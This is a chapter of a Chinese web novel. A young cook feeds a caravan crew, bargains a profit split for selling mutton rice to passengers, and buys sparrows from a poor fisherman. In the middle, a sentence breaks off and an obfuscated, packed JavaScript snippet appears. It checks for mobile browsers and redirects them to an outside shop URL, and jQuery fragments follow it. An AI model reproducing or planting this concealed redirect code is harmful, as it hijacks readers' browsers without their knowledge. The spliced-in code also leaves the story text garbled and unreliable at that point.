姜宁翻开麻袋，两大袋米，一袋子菜：青椒土豆西红柿姜葱蒜等耐放常见菜，还有一条抹了粗盐的五花肉，看着还算新鲜，应该是昨日从老婆婆家那带的。


    调料只有粗盐和菜油。


    她和赵哥说了一声，回自家帐篷里，抱了调料，猪油来。


    先打水洗干净五花肉，分成比拳头大些的块状，冷水下锅，加入姜片和葱段，一勺胡椒粉去腥，生火煮肉，能把筷子恰好扎透肉皮时，夹出肉块放凉，再切成菜刀刀背那么厚的厚肉片。


    切的时候每一片上都要有肥有瘦有皮。


    热锅烧一勺猪油，倒入肉片小伙煸炒，肉片微微卷曲时候。


    放入姜片，蒜片，豆瓣酱翻炒出红油，给肉片上色，最后放入青椒翻炒几下断生，撒少许盐调味，半勺白糖添鲜，翻炒均匀，出锅装盘。


    赵领队已经把米饭闷好，看到满满一锅酱红色的回锅肉，吞了吞口水，招呼车队兄弟们过来吃饭。


    每人一大海碗饭，上头盖上一锅铲青椒回锅肉。


    众人兴致不高的回来，不敢相信的眨眨眼睛，对比头儿往常所有菜蔬一锅炖，无论什么蔬菜，变成颜色诡异烂糊糊的做法，他们今日看到了什么？


    雪白的米饭，上头是油亮的肉片，碧绿的青椒，酱红色的汤汁，淡黄的姜片，不用队长催促，他们每人抢走一碗。


    赵领队端起自己的碗，先尝了一片肉，五花肉片的油脂已经被逼出，只有焦香的口感，没有丝毫的油腻，肉质细腻柔滑，并且带着辣椒豆鼓的独特芳香。


    青椒脆而不辣，带着一点甘甜，最让人惊艳的时酱汁，沾染了油红色酱汁的米饭，咸鲜交融，脂香醇厚。


    除了米饭有点米心杠牙之外，好吃得像做梦一般。


    不用问，看大家空荡荡的碗，便知道兄弟们很满意姜小兄弟做的饭菜。


    赵领队咳嗽一声道：“是这样，我发现牛二车上的，姜小兄弟做饭很是有一手，你们也尝过了，我们凑点钱作工钱，这几日的饭菜，让他帮我们料理，如何？”


    牛二接话：“每人凑五文一天的话，我愿意。”


    若超过这个价钱，那还是吃烂糊糊吧。家里负担重，上有老下有小，一大家子等着吃饭。钱花在这里，其他地方就没了。


    一人五文，二十人，便是一百文一天，不错了。


    赵领队看向姜宁：“你觉得怎么样，要不和你娘商量下？”


    姜宁笑笑道：“各位叔叔哥哥，我有个不用你们出钱的主意，你们先听听给可以整？”


    “我看了您们的饭量，估摸着一顿饭需用六公斤米，我们这样走，约莫七八天到叶城，大约消耗100公斤米，可是我看着两个麻袋，应该有二百多公斤米，我们可以把余下的粮拿出来做饭，卖给队里的客人么？


    一来，有的客人匆忙赶来坐车，没有买干粮，或者没带煮饭的家什，他们有口吃的，不至于饿着肚子。


    二来有的客人干粮吃腻了，肠胃遭不住，想口热乎的。


    三来，这些粮食堆着车上，挺重的，驴子拉着辛苦，给它们减减重。”


    众人听到不用交钱，就能改善伙食，心中已经同意了八成。


    姜宁接着道：“当然，也有弊端，万一耽搁了行程，米吃完，还没到地方，大家伙可得饿肚子了。


    而且，没有肉，都是些素菜，不能卖高价，大家分到的钱，可能有点少。


    诸位叔伯哥哥都比我懂得多，你们决定，我都可以。”


    姜宁抛出方案后便笑眯眯的不吭声，任由他们自己决定。


    大家七嘴八舌讨论：“后面的路况和这几日差不多，除非天降大雨阻路，不然，可以准时到地方。


    这条路他们经常跑，剩余七天路程，五天在野外落脚，剩下的，可以在村子里借宿，预留六天米粮足够了。”


    大家伙偏向卖饭，主要是不用自己凑钱，还能吃。


    反正粮食放在那也是放着，不如卖了换钱。


    下一趟回来，店里会发新的粮食。


    赵领队道：“那就麻烦姜小兄弟卖饭。虽说钱少，我们提前商量下分配的方案？”


    他们车队内部肯定平分，主要是和姜宁怎么分？


    姜宁把带来的东西揭开：“我凑两公斤烟熏羊排羊肉，半缸猪油，各种调料！”


    大家看着她手中那包十全调料包，各种辛辣味道，扑鼻而来。


    眼神瞬间不一样了，专业厨子才配的东西啊。


    赵领队坐直了身子，多了分认真，想了想道：“留60公斤的米，应该足够我们吃了。余下的，都可以做成饭卖掉。


    这点子肉，只够吃一天，余下几日的肉，我们来操心，你只管做饭，若赚到了钱，三七分账，不管多少，你拿三成，怎么样？”


    他面上有些羞赧，好似在占小兄弟的便宜。


    他们的米菜和对方的肉调料价格差不多，做饭仰仗对方的手艺，其实应该平分的，只是他们人有二十个，若是平分，到手里没几个子了。


    姜宁算了笔账，她凑了羊肉，900文，调料看着一大包，一顿饭用一小点，后头五六天，200文尽顶了，猪油五公斤，做月饼剩下的，天气热，需要尽快吃完，外头买的话，约莫要300文，那就是1200文。


    对方去掉六十公斤米，大约剩下一百五十公斤，得1200文，还有一袋子菜，约莫300文，但是，后面肉菜他们负责。


    最主要的是，姜家和二十个，绝对强势的身强力壮车把势捆绑在一起，后面路上，谁要是不长眼，想踩她们娘三个，就得掂量掂量了。


    赵叔绝对没想到，她看重的，不是他们手里的粮，而是他们这二十个强壮的威慑力。


    不过谈条件么，漫天要价，就地还钱。


    她摸着下颌道：“我那包调料花老鼻子钱了，五五分账，还有，我叫上我娘和我弟一起吃饭，若有人问起，需说，你们雇我做饭，每日发我三十文的工钱。”


    赵领队装作没感受到兄弟们灼灼催促他答应的目光，压价：“四成，不能再多了，你娘你弟自是和我们一起吃。”


    他熟练的画饼：“后头路上，我们试着下套，抓些野鸡野兔，你也练练处理野味的手艺。”


    姜宁假装为难了一会，要求后头做什么饭菜，一切自己做主，对方答应，她愉快的同意，不客气的开始使唤人。


    “好的，我们就这样说定了哈。麻烦赵叔去喊一嗓子，今晚出售羊肉焖饭，四十文一碗，只有四十份，每份送一碗滚烫的羊骨萝卜汤和一碟鬼火炉咸菜。”


    姜宁哄着使唤赵队干活，另花费一只烤麻雀的代价，叫来陆家三儿子，陆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122053|193739||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大锤帮忙打下手，劈柴生火洗菜切菜。


    陆大锤人如其名，力大如锤，长得高高瘦瘦，但性子有些棒槌，为了口吃的，跟在比他矮半个头的姜宁，屁股后面，姜哥长姜哥短，姜宁怀疑，若是给他三只麻雀，大锤会毫不犹豫叫他姜叔。


    姜宁有些惆怅，她现在有一只猫，一个大锤要养，每日睁开眼便欠着两只烤麻雀。


    不过很开心就是了，许是自己操心的事多，她就喜欢和这种头脑简单的人相处。


    有了大锤帮忙，她把心思放到锅里，专心控制火候焖饭，不一会，锅里的香霸道的飘散了出来，可以吃饭啦。


    得了车队卖羊肉焖饭消息的一些乘客，放下手中的干粮，早早围着赵队，排队交钱。


    前日姜家小哥做的羊肉焖饭他们吃过，那个味道，回味无穷，可惜他家没米了。


    今日托车队的光，能再吃一次，必须抢在前面，万一到后面又没了。


    中午吃干粮，实在吃不不下去了，想买个热汤烫粥都没地买，幸好，车把势们考虑到他们的肠胃，弄了点饭菜，就是价格有点高，四十一份。


    可是看见锅里的羊肉焖饭，又觉得值。


    若前日的羊肉焖饭是茅草屋，今日的羊肉焖饭，便是青瓦房。


    上头依旧是冒着油的烟熏羊肉，下头除了金黄的土豆，还有碧绿的青豆，橙红的胡萝卜丁，最下层依旧是金黄的锅巴。


    配的汤是羊骨熬的萝卜汤，整整一大碗，还有一碟子下饭的鬼火炉。


    钱包宽裕的，一人一份。


    其实可以省着些，全家买一份吃，再自家配点干粮，也能吃饱吃好。


    周掌柜便是钱包宽裕的，带着儿子，爷两个，一人一份。


    用渔网抓麻雀的是渔民王家，便是囊中羞涩的。


    夫妻两人，带着四个半大的孩子，最小的才三岁。


    他们家世代养鱼卖鱼为生，王家父母偏心，分家只给王汉子分了半个鱼塘，哪里够养活家人。


    夫妻两打听到，花城边有一大个天然湖泊，正适合养鱼捕鱼，便卖房卖地，举家搬迁到花城。


    前路未定，不敢乱花钱，可是看着孩子吃干粮噎得直瞪眼，几日的功夫瘦得下巴能戳人，咬咬牙，来买一份饭菜，全家一起吃。


    王汉子面上被太阳晒得黝黑，他从怀里掏出一包钱，数半天，数了四十文，依依不舍的递给赵队，想了想，缩回手道：“我们抓了二十三只麻雀，可以换饭么？”


    烤麻雀，老香了。


    赵队去问姜宁。


    姜宁询问他：“你想怎么换？”


    渔民王询问看热闹的周掌柜：“周掌柜，城里是不是二十文一只？”


    周掌柜从自己碗里抬起头：“二十文一只，是烤熟的。活的，城里一般五文一只。”


    渔民王哦了一声，小心翼翼道：“城里五文，你给我三文一只，可以吗？”


    姜宁看了眼他网里活蹦乱跳的麻雀，笑着道好，请赵队数了六十九给他。


    渔民王汉子喜滋滋露出白牙，哦，今日麻雀没有白抓，赚钱了呢。


    欢快数了四十文给赵队：“麻烦要一份饭，萝卜汤多给一些！”


    姜宁笑眯眯盛了满满一碗汤给他：“您小心端好，千万别烫到！”汤而已，加水进去熬，要多少有多少。